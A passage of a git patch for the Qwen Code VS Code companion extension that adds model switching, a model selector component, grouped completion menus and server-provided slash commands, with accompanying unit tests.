expect(newOnModelChanged).toHaveBeenCalled(); + expect(mockCallbacks.onModelChanged).not.toHaveBeenCalled(); + }); + + it('updates onAvailableCommands callback', () => { + const newOnAvailableCommands = vi.fn(); + handler.updateCallbacks({ + ...mockCallbacks, + onAvailableCommands: newOnAvailableCommands, + }); + + const commandsUpdate: AcpSessionUpdate = { + sessionId: 'test-session', + update: { + sessionUpdate: 'available_commands_update', + availableCommands: [ + { name: 'test', description: 'Test command', input: null }, + ], + }, + } as AcpSessionUpdate; + + handler.handleSessionUpdate(commandsUpdate); + + expect(newOnAvailableCommands).toHaveBeenCalled(); + expect(mockCallbacks.onAvailableCommands).not.toHaveBeenCalled(); + }); + }); +}); diff --git a/packages/vscode-ide-companion/src/services/qwenSessionUpdateHandler.ts b/packages/vscode-ide-companion/src/services/qwenSessionUpdateHandler.ts index 55d084b2d..1833919b8 100644 --- a/packages/vscode-ide-companion/src/services/qwenSessionUpdateHandler.ts +++ b/packages/vscode-ide-companion/src/services/qwenSessionUpdateHandler.ts @@ -10,7 +10,12 @@ * Handles session updates from ACP and dispatches them to appropriate callbacks */ -import type { AcpSessionUpdate, SessionUpdateMeta } from '../types/acpTypes.js'; +import type { + AcpSessionUpdate, + SessionUpdateMeta, + ModelInfo, + AvailableCommand, +} from '../types/acpTypes.js'; import type { ApprovalModeValue } from '../types/approvalModeValueTypes.js'; import type { QwenAgentCallbacks, @@ -160,6 +165,40 @@ export class QwenSessionUpdateHandler { break; } + case 'current_model_update': { + // Notify UI about model change + try { + const model = (update as unknown as { model?: ModelInfo }).model; + if (model && this.callbacks.onModelChanged) { + this.callbacks.onModelChanged(model); + } + } catch (err) { + console.warn( + '[SessionUpdateHandler] Failed to handle model update', + err, + ); + } + break; + } + + case 'available_commands_update': { + // Notify UI about available commands + try { + const commands = ( + update as unknown as { availableCommands?: AvailableCommand[] } + ).availableCommands; + if (commands && this.callbacks.onAvailableCommands) { + this.callbacks.onAvailableCommands(commands); + } + } catch (err) { + console.warn( + '[SessionUpdateHandler] Failed to handle available commands update', + err, + ); + } + break; + } + default: console.log('[QwenAgentManager] Unhandled session update type'); break; diff --git a/packages/vscode-ide-companion/src/types/acpTypes.ts b/packages/vscode-ide-companion/src/types/acpTypes.ts index 06b7e739d..73939cf32 100644 --- a/packages/vscode-ide-companion/src/types/acpTypes.ts +++ b/packages/vscode-ide-companion/src/types/acpTypes.ts @@ -197,6 +197,31 @@ export interface CurrentModeUpdate extends BaseSessionUpdate { }; } +// Current model update (sent by agent when model changes) +export interface CurrentModelUpdate extends BaseSessionUpdate { + update: { + sessionUpdate: 'current_model_update'; + model: ModelInfo; + }; +} + +// Available command definition +export interface AvailableCommand { + name: string; + description: string; + input?: { + hint?: string; + } | null; +} + +// Available commands update (sent by agent after session creation) +export interface AvailableCommandsUpdate extends BaseSessionUpdate { + update: { + sessionUpdate: 'available_commands_update'; + availableCommands: AvailableCommand[]; + }; +} + // Authenticate update (sent by agent during authentication process) export interface AuthenticateUpdateNotification { _meta: { @@ -211,7 +236,9 @@ export type AcpSessionUpdate = | ToolCallUpdate | ToolCallStatusUpdate | PlanUpdate - | CurrentModeUpdate; + | CurrentModeUpdate + | CurrentModelUpdate + | AvailableCommandsUpdate; // Permission request (simplified version, use schema.RequestPermissionRequest for validation) export interface AcpPermissionRequest { diff --git a/packages/vscode-ide-companion/src/types/chatTypes.ts b/packages/vscode-ide-companion/src/types/chatTypes.ts index 6581d4341..80029a062 100644 --- a/packages/vscode-ide-companion/src/types/chatTypes.ts +++ b/packages/vscode-ide-companion/src/types/chatTypes.ts @@ -3,7 +3,11 @@ * Copyright 2025 Qwen Team * SPDX-License-Identifier: Apache-2.0 */ -import type { AcpPermissionRequest, ModelInfo } from './acpTypes.js'; +import type { + AcpPermissionRequest, + ModelInfo, + AvailableCommand, +} from './acpTypes.js'; import type { ApprovalModeValue } from './approvalModeValueTypes.js'; export interface ChatMessage { @@ -59,6 +63,9 @@ export interface QwenAgentCallbacks { onModeChanged?: (modeId: ApprovalModeValue) => void; onUsageUpdate?: (stats: UsageStatsPayload) => void; onModelInfo?: (info: ModelInfo) => void; + onModelChanged?: (model: ModelInfo) => void; + onAvailableCommands?: (commands: AvailableCommand[]) => void; + onAvailableModels?: (models: ModelInfo[]) => void; } export interface ToolCallUpdate { diff --git a/packages/vscode-ide-companion/src/types/completionItemTypes.ts b/packages/vscode-ide-companion/src/types/completionItemTypes.ts index 8bc884b34..d3dedc992 100644 --- a/packages/vscode-ide-companion/src/types/completionItemTypes.ts +++ b/packages/vscode-ide-companion/src/types/completionItemTypes.ts @@ -16,4 +16,14 @@ export interface CompletionItem { value?: string; // Optional full path for files (used to build @filename -> full path mapping) path?: string; + // Optional group name for grouping items in the completion menu + group?: string; +} + +/** + * Grouped completion items for display + */ +export interface CompletionGroup { + name: string; + items: CompletionItem[]; } diff --git a/packages/vscode-ide-companion/src/utils/acpModelInfo.test.ts b/packages/vscode-ide-companion/src/utils/acpModelInfo.test.ts index 60aef8217..d69d40565 100644 --- a/packages/vscode-ide-companion/src/utils/acpModelInfo.test.ts +++ b/packages/vscode-ide-companion/src/utils/acpModelInfo.test.ts @@ -5,7 +5,138 @@ */ import { describe, expect, it } from 'vitest'; -import { extractModelInfoFromNewSessionResult } from './acpModelInfo.js'; +import { + extractModelInfoFromNewSessionResult, + extractSessionModelState, +} from './acpModelInfo.js'; + +describe('extractSessionModelState', () => { + it('extracts full model state from NewSessionResponse.models', () => { + const result = extractSessionModelState({ + sessionId: 's', + models: { + currentModelId: 'qwen3-coder-plus', + availableModels: [ + { + modelId: 'qwen3-coder-plus', + name: 'Qwen3 Coder Plus', + description: null, + _meta: { contextLimit: 123 }, + }, + { + modelId: 'qwen3-coder', + name: 'Qwen3 Coder', + description: 'Standard model', + _meta: { contextLimit: 64 }, + }, + ], + }, + }); + + expect(result).toEqual({ + currentModelId: 'qwen3-coder-plus', + availableModels: [ + { + modelId: 'qwen3-coder-plus', + name: 'Qwen3 Coder Plus', + description: null, + _meta: { contextLimit: 123 }, + }, + { + modelId: 'qwen3-coder', + name: 'Qwen3 Coder', + description: 'Standard model', + _meta: { contextLimit: 64 }, + }, + ], + }); + }); + + it('returns all available models', () => { + const result = extractSessionModelState({ + models: { + currentModelId: 'model-a', + availableModels: [ + { modelId: 'model-a', name: 'Model A' }, + { modelId: 'model-b', name: 'Model B' }, + { modelId: 'model-c', name: 'Model C' }, + ], + }, + }); + + expect(result?.availableModels).toHaveLength(3); + expect(result?.availableModels.map((m) => m.modelId)).toEqual([ + 'model-a', + 'model-b', + 'model-c', + ]); + }); + + it('defaults to first model if currentModelId is missing', () => { + const result = extractSessionModelState({ + models: { + availableModels: [ + { modelId: 'first', name: 'First Model' }, + { modelId: 'second', name: 'Second Model' }, + ], + }, + }); + + expect(result?.currentModelId).toBe('first'); + }); + + it('handles legacy array format', () => { + const result = extractSessionModelState({ + models: [ + { modelId: 'legacy-1', name: 'Legacy 1' }, + { modelId: 'legacy-2', name: 'Legacy 2' }, + ], + }); + + expect(result).toEqual({ + currentModelId: 'legacy-1', + availableModels: [ + { modelId: 'legacy-1', name: 'Legacy 1' }, + { modelId: 'legacy-2', name: 'Legacy 2' }, + ], + }); + }); + + it('filters out invalid model entries', () => { + const result = extractSessionModelState({ + models: { + currentModelId: 'valid', + availableModels: [ + { name: '', modelId: '' }, // invalid + { modelId: 'valid', name: 'Valid Model' }, + {}, // invalid + ], + }, + }); + + expect(result?.availableModels).toHaveLength(1); + expect(result?.availableModels[0].modelId).toBe('valid'); + }); + + it('returns null when models field is missing', () => { + expect(extractSessionModelState({})).toBeNull(); + expect(extractSessionModelState(null)).toBeNull(); + expect(extractSessionModelState({ sessionId: 's' })).toBeNull(); + }); + + it('returns null when availableModels is empty after filtering', () => { + const result = extractSessionModelState({ + models: { + currentModelId: 'none', + availableModels: [{ name: '', modelId: '' }, { name: '' }], + }, + }); + + // When all models are invalid, availableModels will be empty + // The function should still return a state with empty availableModels + expect(result?.availableModels).toHaveLength(0); + }); +}); describe('extractModelInfoFromNewSessionResult', () => { it('extracts from NewSessionResponse.models (SessionModelState)', () => { diff --git a/packages/vscode-ide-companion/src/utils/acpModelInfo.ts b/packages/vscode-ide-companion/src/utils/acpModelInfo.ts index 9845de8e9..45df8aa0c 100644 --- a/packages/vscode-ide-companion/src/utils/acpModelInfo.ts +++ b/packages/vscode-ide-companion/src/utils/acpModelInfo.ts @@ -69,6 +69,69 @@ const normalizeModelInfo = (value: unknown): ModelInfo | null => { }; }; +/** + * SessionModelState as returned from ACP session/new. + */ +export interface SessionModelState { + availableModels: ModelInfo[]; + currentModelId: string; +} + +/** + * Extract complete model state from ACP `session/new` result. + * + * Returns both the list of available models and the current model ID. + */ +export const extractSessionModelState = ( + result: unknown, +): SessionModelState | null => { + if (!result || typeof result !== 'object') { + return null; + } + + const obj = result as Record; + const models = obj['models']; + + // ACP draft: NewSessionResponse.models is a SessionModelState object. + if (models && typeof models === 'object' && !Array.isArray(models)) { + const state = models as Record; + const availableModels = state['availableModels']; + const currentModelId = state['currentModelId']; + + if (Array.isArray(availableModels)) { + const normalizedModels = availableModels + .map(normalizeModelInfo) + .filter((m): m is ModelInfo => Boolean(m)); + + const modelId = + typeof currentModelId === 'string' && currentModelId.length > 0 + ? currentModelId + : normalizedModels[0]?.modelId || ''; + + return { + availableModels: normalizedModels, + currentModelId: modelId, + }; + } + } + + // Legacy: some implementations returned `models` as a raw array. + if (Array.isArray(models)) { + const normalizedModels = models + .map(normalizeModelInfo) + .filter((m): m is ModelInfo => Boolean(m)); + + if (normalizedModels.length > 0) { + return { + availableModels: normalizedModels, + currentModelId: normalizedModels[0].modelId, + }; + } + } + + return null; +}; + /** * Extract model info from ACP `session/new` result. * diff --git a/packages/vscode-ide-companion/src/webview/App.tsx b/packages/vscode-ide-companion/src/webview/App.tsx index 4286cd44e..d58e3dbdf 100644 --- a/packages/vscode-ide-companion/src/webview/App.tsx +++ b/packages/vscode-ide-companion/src/webview/App.tsx @@ -42,7 +42,8 @@ import { } from './components/messages/index.js'; import { InputForm } from './components/layout/InputForm.js'; import { SessionSelector } from './components/layout/SessionSelector.js'; -import { FileIcon, UserIcon } from './components/icons/index.js'; +import { FileIcon } from './components/icons/index.js'; +import type { AvailableCommand } from '../types/acpTypes.js'; import { ApprovalMode, NEXT_APPROVAL_MODE } from '../types/acpTypes.js'; import type { ApprovalModeValue } from '../types/approvalModeValueTypes.js'; import type { PlanEntry, UsageStatsPayload } from '../types/chatTypes.js'; @@ -77,6 +78,11 @@ export const App: React.FC = () => { const [isLoading, setIsLoading] = useState(true); // Track if we're still initializing/loading const [modelInfo, setModelInfo] = useState(null); const [usageStats, setUsageStats] = useState(null); + const [availableCommands, setAvailableCommands] = useState< + AvailableCommand[] + >([]); + const [availableModels, setAvailableModels] = useState([]); + const [showModelSelector, setShowModelSelector] = useState(false); const messagesEndRef = useRef( null, ) as React.RefObject; @@ -146,23 +152,58 @@ export const App: React.FC = () => { return allItems; } else { - // Handle slash commands - const commands: CompletionItem[] = [ + // Handle slash commands with grouping + // Model group - special items without / prefix + const modelGroupItems: CompletionItem[] = [ { - id: 'login', - label: '/login', - description: 'Login to Qwen Code', + id: 'model', + label: 'Switch model...', + description: modelInfo?.name || 'Default', type: 'command', - icon: , + group: 'Model', }, ]; - return commands.filter((cmd) => - cmd.label.toLowerCase().includes(query.toLowerCase()), + // Account group + const accountGroupItems: CompletionItem[] = [ + { + id: 'login', + label: 'Login', + description: 'Login to Qwen Code', + type: 'command', + group: 'Account', + }, + ]; + + // Slash Commands group - commands from server (available_commands_update) + const slashCommandItems: CompletionItem[] = availableCommands.map( + (cmd) => ({ + id: cmd.name, + label: `/${cmd.name}`, + description: cmd.description, + type: 'command' as const, + group: 'Slash Commands', + }), + ); + + // Combine all commands + const allCommands = [ + ...modelGroupItems, + ...accountGroupItems, + ...slashCommandItems, + ]; + + // Filter by query + const lowerQuery = query.toLowerCase(); + return allCommands.filter( + (cmd) => + cmd.label.toLowerCase().includes(lowerQuery) || + (cmd.description && + cmd.description.toLowerCase().includes(lowerQuery)), ); } }, - [fileContext], + [fileContext, availableCommands, modelInfo?.name], ); const completion = useCompletionTrigger(inputFieldRef, getCompletionItems); @@ -301,6 +342,12 @@ export const App: React.FC = () => { setModelInfo: (info) => { setModelInfo(info); }, + setAvailableCommands: (commands) => { + setAvailableCommands(commands); + }, + setAvailableModels: (models) => { + setAvailableModels(models); + }, }); // Auto-scroll handling: keep the view pinned to bottom when new content arrives, @@ -451,14 +498,94 @@ export const App: React.FC = () => { return; } - // Slash commands can execute immediately + // Commands can execute immediately if (item.type === 'command') { - const command = (item.label || '').trim(); - if (command === '/login') { + const itemId = item.id; + + // Helper to clear trigger text from input + const clearTriggerText = () => { + const text = inputElement.textContent || ''; + const selection = window.getSelection(); + if (!selection || selection.rangeCount === 0) { + // Fallback: just clear everything + inputElement.textContent = ''; + setInputText(''); + return; + } + + // Find and remove the slash command trigger + const range = selection.getRangeAt(0); + let cursorPos = text.length; + if (range.startContainer === inputElement) { + const childIndex = range.startOffset; + let offset = 0; + for ( + let i = 0; + i < childIndex && i < inputElement.childNodes.length; + i++ + ) { + offset += inputElement.childNodes[i].textContent?.length || 0; + } + cursorPos = offset || text.length; + } else if (range.startContainer.nodeType === Node.TEXT_NODE) { + const walker = document.createTreeWalker( + inputElement, + NodeFilter.SHOW_TEXT, + null, + ); + let offset = 0; + let found = false; + let node: Node | null = walker.nextNode(); + while (node) { + if (node === range.startContainer) { + offset += range.startOffset; + found = true; + break; + } + offset += node.textContent?.length || 0; + node = walker.nextNode(); + } + cursorPos = found ? offset : text.length; + } + + const textBeforeCursor = text.substring(0, cursorPos); + const slashPos = textBeforeCursor.lastIndexOf('/'); + if (slashPos >= 0) { + const newText = + text.substring(0, slashPos) + text.substring(cursorPos); + inputElement.textContent = newText; + setInputText(newText); + } + }; + + // Handle special commands by id + if (itemId === 'login') { + clearTriggerText(); vscode.postMessage({ type: 'login', data: {} }); completion.closeCompletion(); return; } + if (itemId === 'model') { + clearTriggerText(); + setShowModelSelector(true); + completion.closeCompletion(); + return; + } + + // Handle server-provided slash commands by sending them as messages + // CLI will detect slash commands in session/prompt and execute them + const serverCmd = availableCommands.find((c) => c.name === itemId); + if (serverCmd) { + // Clear the trigger text since we're sending the command + clearTriggerText(); + // Send the slash command as a user message + vscode.postMessage({ + type: 'sendMessage', + data: { text: `/${serverCmd.name}` }, + }); + completion.closeCompletion(); + return; + } } // If selecting a file, add @filename -> fullpath mapping @@ -543,7 +670,25 @@ export const App: React.FC = () => { // Close the completion menu completion.closeCompletion(); }, - [completion, inputFieldRef, setInputText, fileContext, vscode], + [ + completion, + inputFieldRef, + setInputText, + fileContext, + vscode, + availableCommands, + ], + ); + + // Handle model selection + const handleModelSelect = useCallback( + (modelId: string) => { + vscode.postMessage({ + type: 'setModel', + data: { modelId }, + }); + }, + [vscode], ); // Handle attach context click @@ -866,6 +1011,11 @@ export const App: React.FC = () => { completionItems={completion.items} onCompletionSelect={handleCompletionSelect} onCompletionClose={completion.closeCompletion} + showModelSelector={showModelSelector} + availableModels={availableModels} + currentModelId={modelInfo?.modelId} + onSelectModel={handleModelSelect} + onCloseModelSelector={() => setShowModelSelector(false)} /> )} diff --git a/packages/vscode-ide-companion/src/webview/WebViewProvider.ts b/packages/vscode-ide-companion/src/webview/WebViewProvider.ts index 5aa92c0fb..800a85161 100644 --- a/packages/vscode-ide-companion/src/webview/WebViewProvider.ts +++ b/packages/vscode-ide-companion/src/webview/WebViewProvider.ts @@ -132,6 +132,34 @@ export class WebViewProvider { }); }); + // Surface model changes (from ACP current_model_update or set_model response) + this.agentManager.onModelChanged((model) => { + this.sendMessageToWebView({ + type: 'modelChanged', + data: { model }, + }); + }); + + // Surface available commands (from ACP available_commands_update) + this.agentManager.onAvailableCommands((commands) => { + this.sendMessageToWebView({ + type: 'availableCommands', + data: { commands }, + }); + }); + + // Surface available models (from session/new response) + this.agentManager.onAvailableModels((models) => { + console.log( + '[WebViewProvider] onAvailableModels received, sending to webview:', + models, + ); + this.sendMessageToWebView({ + type: 'availableModels', + data: { models }, + }); + }); + // Setup end-turn handler from ACP stopReason notifications this.agentManager.onEndTurn((reason) => { // Ensure WebView exits streaming state even if no explicit streamEnd was emitted elsewhere diff --git a/packages/vscode-ide-companion/src/webview/components/icons/StatusIcons.tsx b/packages/vscode-ide-companion/src/webview/components/icons/StatusIcons.tsx index fdaa29434..e299568ce 100644 --- a/packages/vscode-ide-companion/src/webview/components/icons/StatusIcons.tsx +++ b/packages/vscode-ide-companion/src/webview/components/icons/StatusIcons.tsx @@ -186,3 +186,54 @@ export const SelectionIcon: React.FC = ({ ); + +/** + * Check icon (16x16) + * Used for selected items + */ +export const CheckIcon: React.FC = ({ + size = 16, + className, + ...props +}) => ( + +); + +/** + * Model icon (16x16) + * Used for model selection command + */ +export const ModelIcon: React.FC = ({ + size = 16, + className, + ...props +}) => ( + +); diff --git a/packages/vscode-ide-companion/src/webview/components/icons/index.ts b/packages/vscode-ide-companion/src/webview/components/icons/index.ts index ffecbbced..bbd10b5d3 100644 --- a/packages/vscode-ide-companion/src/webview/components/icons/index.ts +++ b/packages/vscode-ide-companion/src/webview/components/icons/index.ts @@ -40,6 +40,8 @@ export { UserIcon, SymbolIcon, SelectionIcon, + CheckIcon, + ModelIcon, } from './StatusIcons.js'; // Special icons diff --git a/packages/vscode-ide-companion/src/webview/components/layout/CompletionMenu.tsx b/packages/vscode-ide-companion/src/webview/components/layout/CompletionMenu.tsx index f667b849a..68339cafd 100644 --- a/packages/vscode-ide-companion/src/webview/components/layout/CompletionMenu.tsx +++ b/packages/vscode-ide-companion/src/webview/components/layout/CompletionMenu.tsx @@ -5,7 +5,7 @@ */ import type React from 'react'; -import { useEffect, useRef, useState } from 'react'; +import { useEffect, useRef, useState, useMemo } from 'react'; import type { CompletionItem } from '../../../types/completionItemTypes.js'; interface CompletionMenuProps { @@ -16,6 +16,28 @@ interface CompletionMenuProps { selectedIndex?: number; } +/** + * Group items by their group property + */ +const groupItems = ( + items: CompletionItem[], +): Array<{ group: string | null; items: CompletionItem[] }> => { + const groups: Map = new Map(); + + for (const item of items) { + const groupKey = item.group || null; + if (!groups.has(groupKey)) { + groups.set(groupKey, []); + } + groups.get(groupKey)!.push(item); + } + + return Array.from(groups.entries()).map(([group, groupItems]) => ({ + group, + items: groupItems, + })); +}; + export const CompletionMenu: React.FC = ({ items, onSelect, @@ -24,9 +46,16 @@ export const CompletionMenu: React.FC = ({ selectedIndex = 0, }) => { const containerRef = useRef(null); + const listRef = useRef(null); const [selected, setSelected] = useState(selectedIndex); // Mount state to drive a simple Tailwind transition (replaces CSS keyframes) const [mounted, setMounted] = useState(false); + // Track if selection change was from keyboard (should scroll) vs mouse (should not scroll) + const isKeyboardNavigation = useRef(false); + + // Group items for display + const groupedItems = useMemo(() => groupItems(items), [items]); + const hasGroups = groupedItems.some((g) => g.group !== null); useEffect(() => setSelected(selectedIndex), [selectedIndex]); useEffect(() => setMounted(true), []); @@ -45,10 +74,12 @@ export const CompletionMenu: React.FC = ({ switch (event.key) { case 'ArrowDown': event.preventDefault(); + isKeyboardNavigation.current = true; setSelected((prev) => Math.min(prev + 1, items.length - 1)); break; case 'ArrowUp': event.preventDefault(); + isKeyboardNavigation.current = true; setSelected((prev) => Math.max(prev - 1, 0)); break; case 'Enter': @@ -75,11 +106,28 @@ export const CompletionMenu: React.FC = ({ }, [items, selected, onSelect, onClose]); useEffect(() => { - const selectedEl = containerRef.current?.querySelector( + // Only scroll into view for keyboard navigation, not mouse hover + if (!isKeyboardNavigation.current) { + return; + } + isKeyboardNavigation.current = false; + + const selectedEl = listRef.current?.querySelector( `[data-index="${selected}"]`, ); - if (selectedEl) { - selectedEl.scrollIntoView({ block: 'nearest' }); + if (selectedEl && listRef.current) { + // Use scrollIntoView only within the list container to avoid page scroll + const listRect = listRef.current.getBoundingClientRect(); + const elRect = selectedEl.getBoundingClientRect(); + + // Check if element is outside the visible area of the list + if (elRect.top < listRect.top) { + // Element is above visible area, scroll up + selectedEl.scrollIntoView({ block: 'start', behavior: 'instant' }); + } else if (elRect.bottom > listRect.bottom) { + // Element is below visible area, scroll down + selectedEl.scrollIntoView({ block: 'end', behavior: 'instant' }); + } } }, [selected]); @@ -87,6 +135,9 @@ export const CompletionMenu: React.FC = ({ return null; } + // Track global index for keyboard navigation + let globalIndex = 0; + return (
= ({ {/* Optional top spacer for visual separation from the input */}
- {title && ( + {title && !hasGroups && (
{title}
)} - {items.map((item, index) => { - const isActive = index === selected; - return ( -
onSelect(item)} - onMouseEnter={() => setSelected(index)} - className={[ - // Semantic - 'completion-menu-item', - // Hit area - 'mx-1 cursor-pointer rounded-[var(--app-list-border-radius)]', - 'p-[var(--app-list-item-padding)]', - // Active background - isActive ? 'bg-[var(--app-list-active-background)]' : '', - ].join(' ')} - > -
- {item.icon && ( - - {item.icon} - - )} - - {item.label} - - {item.description && ( - - {item.description} - - )} + {groupedItems.map((group, groupIdx) => ( +
+ {hasGroups && group.group && ( +
+ {group.group}
+ )} +
+ {group.items.map((item) => { + const currentIndex = globalIndex++; + const isActive = currentIndex === selected; + return ( +
onSelect(item)} + onMouseEnter={() => setSelected(currentIndex)} + className={[ + // Semantic + 'completion-menu-item', + // Hit area + 'mx-1 cursor-pointer rounded-[var(--app-list-border-radius)]', + 'p-[var(--app-list-item-padding)]', + // Active background + isActive ? 'bg-[var(--app-list-active-background)]' : '', + ].join(' ')} + > +
+ {item.icon && ( + + {item.icon} + + )} + + {item.label} + + {item.description && ( + + {item.description} + + )} +
+
+ ); + })}
- ); - })} +
+ ))}
); diff --git a/packages/vscode-ide-companion/src/webview/components/layout/InputForm.tsx b/packages/vscode-ide-companion/src/webview/components/layout/InputForm.tsx index 2058b7c04..ac40671d4 100644 --- a/packages/vscode-ide-companion/src/webview/components/layout/InputForm.tsx +++ b/packages/vscode-ide-companion/src/webview/components/layout/InputForm.tsx @@ -18,9 +18,11 @@ import { StopIcon, } from '../icons/index.js'; import { CompletionMenu } from '../layout/CompletionMenu.js'; +import { ModelSelector } from '../layout/ModelSelector.js'; import type { CompletionItem } from '../../../types/completionItemTypes.js'; import { getApprovalModeInfoFromString } from '../../../types/acpTypes.js'; import type { ApprovalModeValue } from '../../../types/approvalModeValueTypes.js'; +import type { ModelInfo } from '../../../types/acpTypes.js'; import { ContextIndicator } from './ContextIndicator.js'; interface InputFormProps { @@ -58,6 +60,12 @@ interface InputFormProps { completionItems?: CompletionItem[]; onCompletionSelect?: (item: CompletionItem) => void; onCompletionClose?: () => void; + // Model selector props + showModelSelector?: boolean; + availableModels?: ModelInfo[]; + currentModelId?: string | null; + onSelectModel?: (modelId: string) => void; + onCloseModelSelector?: () => void; } // Get edit mode display info using helper function @@ -118,6 +126,11 @@ export const InputForm: React.FC = ({ completionItems, onCompletionSelect, onCompletionClose, + showModelSelector, + availableModels, + currentModelId, + onSelectModel, + onCloseModelSelector, }) => { const editModeInfo = getEditModeInfo(editMode); const composerDisabled = isStreaming || isWaitingForResponse; @@ -174,6 +187,19 @@ export const InputForm: React.FC = ({ /> )} + {showModelSelector && + availableModels && + onSelectModel && + onCloseModelSelector && ( + + )} +
void; + onClose: () => void; +} + +export const ModelSelector: FC = ({ + visible, + models, + currentModelId, + onSelectModel, + onClose, +}) => { + const containerRef = useRef(null); + const [selected, setSelected] = useState(0); + const [mounted, setMounted] = useState(false); + + // Reset selection when models change or when opened + useEffect(() => { + if (visible) { + // Find current model index or default to 0 + const currentIndex = models.findIndex( + (m) => m.modelId === currentModelId, + ); + setSelected(currentIndex >= 0 ? currentIndex : 0); + setMounted(true); + } else { + setMounted(false); + } + }, [visible, models, currentModelId]); + + // Handle clicking outside to close and keyboard navigation + useEffect(() => { + if (!visible) { + return; + } + + const handleClickOutside = (event: MouseEvent) => { + if ( + containerRef.current && + !containerRef.current.contains(event.target as Node) + ) { + onClose(); + } + }; + + const handleKeyDown = (event: KeyboardEvent) => { + switch (event.key) { + case 'ArrowDown': + event.preventDefault(); + setSelected((prev) => Math.min(prev + 1, models.length - 1)); + break; + case 'ArrowUp': + event.preventDefault(); + setSelected((prev) => Math.max(prev - 1, 0)); + break; + case 'Enter': + event.preventDefault(); + if (models[selected]) { + onSelectModel(models[selected].modelId); + onClose(); + } + break; + case 'Escape': + event.preventDefault(); + onClose(); + break; + default: + break; + } + }; + + document.addEventListener('mousedown', handleClickOutside); + document.addEventListener('keydown', handleKeyDown); + + return () => { + document.removeEventListener('mousedown', handleClickOutside); + document.removeEventListener('keydown', handleKeyDown); + }; + }, [visible, models, selected, onSelectModel, onClose]); + + // Scroll selected item into view + useEffect(() => { + const selectedEl = containerRef.current?.querySelector( + `[data-index="${selected}"]`, + ); + if (selectedEl) { + selectedEl.scrollIntoView({ block: 'nearest' }); + } + }, [selected]); + + const handleModelSelect = useCallback( + (modelId: string) => { + onSelectModel(modelId); + onClose(); + }, + [onSelectModel, onClose], + ); + + if (!visible) { + return null; + } + + return ( +
+ {/* Header */} +
+ Select a model +
+ + {/* Model list */} +
+ {models.length === 0 ? ( +
+ No models available. Check console for details. +
+ ) : ( + models.map((model, index) => { + const isActive = index === selected; + const isCurrentModel = model.modelId === currentModelId; + return ( +
handleModelSelect(model.modelId)} + onMouseEnter={() => setSelected(index)} + className={[ + 'model-selector-item', + 'mx-1 cursor-pointer rounded-[var(--app-list-border-radius)]', + 'p-[var(--app-list-item-padding)]', + isActive ? 'bg-[var(--app-list-active-background)]' : '', + ].join(' ')} + > +
+
+ + {model.name} + + {model.description && ( + + {model.description} + + )} +
+ {isCurrentModel && ( + + + + )} +
+
+ ); + }) + )} +
+
+ ); +}; diff --git a/packages/vscode-ide-companion/src/webview/handlers/SessionMessageHandler.ts b/packages/vscode-ide-companion/src/webview/handlers/SessionMessageHandler.ts index beaacde60..02af993ab 100644 --- a/packages/vscode-ide-companion/src/webview/handlers/SessionMessageHandler.ts +++ b/packages/vscode-ide-companion/src/webview/handlers/SessionMessageHandler.ts @@ -34,6 +34,7 @@ export class SessionMessageHandler extends BaseMessageHandler { 'openNewChatTab', // Settings-related messages 'setApprovalMode', + 'setModel', ].includes(messageType); } @@ -125,6 +126,14 @@ export class SessionMessageHandler extends BaseMessageHandler { ); break; + case 'setModel': + await this.handleSetModel( + message.data as { + modelId?: string; + }, + ); + break; + default: console.warn( '[SessionMessageHandler] Unknown message type:', @@ -1034,4 +1043,24 @@ export class SessionMessageHandler extends BaseMessageHandler { }); } } + + /** + * Set model via agent (ACP session/set_model) + */ + private async handleSetModel(data?: { modelId?: string }): Promise { + try { + const modelId = data?.modelId; + if (!modelId) { + throw new Error('Model ID is required'); + } + await this.agentManager.setModelFromUi(modelId); + // No explicit response needed; WebView listens for modelChanged + } catch (error) { + console.error('[SessionMessageHandler] Failed to set model:', error); + this.sendToWebView({ + type: 'error', + data: { message: `Failed to set model: ${error}` }, + }); + } + } } diff --git a/packages/vscode-ide-companion/src/webview/hooks/useWebViewMessages.ts b/packages/vscode-ide-companion/src/webview/hooks/useWebViewMessages.ts index 9995d095c..07246f8e8 100644 --- a/packages/vscode-ide-companion/src/webview/hooks/useWebViewMessages.ts +++ b/packages/vscode-ide-companion/src/webview/hooks/useWebViewMessages.ts @@ -17,7 +17,7 @@ import type { } from '../../types/chatTypes.js'; import type { ApprovalModeValue } from '../../types/approvalModeValueTypes.js'; import type { PlanEntry } from '../../types/chatTypes.js'; -import type { ModelInfo } from '../../types/acpTypes.js'; +import type { ModelInfo, AvailableCommand } from '../../types/acpTypes.js'; const FORCE_CLEAR_STREAM_END_REASONS = new Set([ 'user_cancelled', @@ -127,6 +127,10 @@ interface UseWebViewMessagesProps { setUsageStats?: (stats: UsageStatsPayload | undefined) => void; // Model info setter setModelInfo?: (info: ModelInfo | null) => void; + // Available commands setter + setAvailableCommands?: (commands: AvailableCommand[]) => void; + // Available models setter + setAvailableModels?: (models: ModelInfo[]) => void; } /** @@ -147,6 +151,8 @@ export const useWebViewMessages = ({ setIsAuthenticated, setUsageStats, setModelInfo, + setAvailableCommands, + setAvailableModels, }: UseWebViewMessagesProps) => { // VS Code API for posting messages back to the extension host const vscode = useVSCode(); @@ -166,6 +172,8 @@ export const useWebViewMessages = ({ setIsAuthenticated, setUsageStats, setModelInfo, + setAvailableCommands, + setAvailableModels, }); // Track last "Updated Plan" snapshot toolcall to support merge/dedupe @@ -213,6 +221,8 @@ export const useWebViewMessages = ({ setIsAuthenticated, setUsageStats, setModelInfo, + setAvailableCommands, + setAvailableModels, }; }); @@ -245,6 +255,56 @@ export const useWebViewMessages = ({ break; } + case 'modelChanged': { + try { + const model = message.data?.model as ModelInfo | undefined; + if (model) { + handlers.setModelInfo?.(model); + } + } catch (_error) { + // Ignore error when setting model + } + break; + } + + case 'availableCommands': { + try { + const commands = message.data?.commands as + | AvailableCommand[] + | undefined; + if (commands) { + handlers.setAvailableCommands?.(commands); + } + } catch (_error) { + // Ignore error when setting available commands + } + break; + } + + case 'availableModels': { + try { + const models = message.data?.models as ModelInfo[] | undefined; + console.log( + '[useWebViewMessages] availableModels message received:', + models, + ); + if (models) { + handlers.setAvailableModels?.(models); + console.log( + '[useWebViewMessages] setAvailableModels called with:', + models, + ); + } + } catch (_error) { + // Ignore error when setting available models + console.error( + '[useWebViewMessages] Error setting available models:', + _error, + ); + } + break; + } + case 'usageStats': { const stats = message.data as UsageStatsPayload | undefined; handlers.setUsageStats?.(stats); From 01a906d6eab81b48af4b02e213a2a3ab3d1c6814 Mon Sep 17 00:00:00 2001 From: yiliang114 <1204183885@qq.com> Date: Wed, 21 Jan 2026 13:59:31 